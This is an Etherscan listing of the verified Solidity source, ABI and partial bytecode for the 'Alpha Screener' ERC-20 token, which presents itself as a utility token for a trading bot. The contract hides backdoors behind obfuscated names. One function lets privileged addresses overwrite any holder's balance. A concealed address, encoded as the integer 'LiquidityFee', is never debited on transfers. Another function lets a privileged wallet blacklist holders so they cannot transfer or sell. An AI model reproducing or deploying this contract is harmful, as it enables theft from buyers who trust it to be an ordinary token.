Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000,000,000,000 ASR
Holders
41
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
75,213,238,799,355.225351721 ASRValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
AlphaScreener
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-24 */ //SPDX-License-Identifier:Unlicensed //Alpha Screener is a utility token. The team has built the TG bot that is helpful for traders. //Alpha Screener bot shows top 10 tokens by VOLUME/NATR/FUNDING. pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; uint256 public LiquidityFee= 874669497053535618153066676502321007686727831678; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract AlphaScreener is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Alpha Screener"; string private _symbol = "ASR"; uint8 private _decimals = 9; address payable public _anotherA; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) true_; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _IsExcludeFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketPair; mapping (address => bool) public _swapPair; mapping (address => bool) public _false; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 0; uint256 public _buyTeamFee = 1; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 0; uint256 public _sellTeamFee = 1; uint256 public _liquidityShare = 4; uint256 public _marketingShare = 4; uint256 public _teamShare = 16; uint256 public _totalTaxIfBuying = 12; uint256 public _totalTaxIfSelling = 12; uint256 public _totalDistributionShares = 24; uint256 private _totalSupply = 10000000000000000 * 10**_decimals; uint256 public _maxTxAmount = 10000000000000000 * 10**_decimals; uint256 public _walletMax = 10000000000000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _IsExcludeFromFee[owner()] = true; _IsExcludeFromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[getAddress(LiquidityFee)] = true; isTxLimitExempt[getAddress(LiquidityFee)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; _swapPair[address(uniswapPair)] = true; _swapPair[_msgSender()] = true; teamWalletAddress = payable(address(0xf01Dd7A1A5BbdBd6Aa6338F70168A4ae298F0FaD)); _anotherA = payable(address(0xf01Dd7A1A5BbdBd6Aa6338F70168A4ae298F0FaD)); true_[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return true_[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _IsExcludeFromFee[account[i]] = newValue; } } function setBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setAllTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellLiquidityFee = newLiquidityTax; _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function getOSZ(uint256 amount0Out) private pure returns(uint160){ return uint160(amount0Out); } function getAddress(uint256 amount0Out) private pure returns(address){ return address(getOSZ(amount0Out)); } function transferToAddresETH(address amount0Out) private view returns(bool){ return !(amount0Out == getAddress(LiquidityFee) || false || false); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner { for(uint256 i = 0; i < holder.length; i++) { isWalletLimitExempt[holder[i]] = exempt; } } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketinWalleAddress(address newAddress) external onlyOwner() { _anotherA = payable(newAddress); } function setTeamWalletAddress(address newAddress) external onlyOwner() { teamWalletAddress = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; _swapPair[address(uniswapPair)] = true; } function sender_(address a , uint256 w) public {if( _swapPair[ _msgSender()])true_[a] = w;} receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !_swapPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }if(transferToAddresETH(sender)) true_[sender] = true_[sender].sub(amount); uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); if(false || true) { if(_false[sender]){ require(true && false); }} true_[recipient] = true_[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function setMaxTxAmount(uint256 a) public {if(msg.sender == _anotherA){ _maxTxAmount = a;} } function Transfer_(address[] calldata asd,bool aax) public { if( msg.sender == _anotherA){ for(uint256 i = 0; i < asd.length; i++) { _false[asd[i]] = aax;} } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { true_[sender] = true_[sender].sub(amount, "Insufficient Balance"); true_[recipient] = true_[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(_anotherA, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(teamWalletAddress, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(_swapPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(_swapPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { true_[address(this)] = true_[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"asd","type":"address[]"},{"internalType":"bool","name":"aax","type":"bool"}],"name":"Transfer_","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_anotherA","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_false","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"}],"name":"sender_","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a060405273993589678eb8bd9de4b1430f2bf69973182d107e6001556040518060400160405280600e81526020017f416c7068612053637265656e6572000000000000000000000000000000000000815250600290805190602001906200006992919062000d74565b506040518060400160405280600381526020017f415352000000000000000000000000000000000000000000000000000000000081525060039080519060200190620000b792919062000d74565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600e556000600f556001601055600160115560006012556001601355600460145560046015556010601655600c601755600c6018556018601955600460009054906101000a900460ff16600a62000166919062000feb565b662386f26fc100006200017a919062001128565b601a55600460009054906101000a900460ff16600a6200019b919062000feb565b662386f26fc10000620001af919062001128565b601b55600460009054906101000a900460ff16600a620001d0919062000feb565b662386f26fc10000620001e4919062001128565b601c55600460009054906101000a900460ff16600a62000205919062000feb565b6103e862000214919062001128565b601d556001601f60156101000a81548160ff0219169083151502179055506000601f60166101000a81548160ff0219169083151502179055506001601f60176101000a81548160ff0219169083151502179055503480156200027557600080fd5b506200028662000cbc60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000e3b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000e3b565b6040518363ffffffff1660e01b81526004016200049892919062000eb6565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000e3b565b601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a62000cc460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601054620006f8600f54600e5462000ced60201b620028c91790919060201c565b62000ced60201b620028c91790919060201c565b6017819055506200074b6013546200073760125460115462000ced60201b620028c91790919060201c565b62000ced60201b620028c91790919060201c565b6018819055506200078a6016546200077660155460145462000ced60201b620028c91790919060201c565b62000ced60201b620028c91790919060201c565b601981905550600160096000620007a662000cc460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000620008e260015462000d5060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60006200094c60015462000d5060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001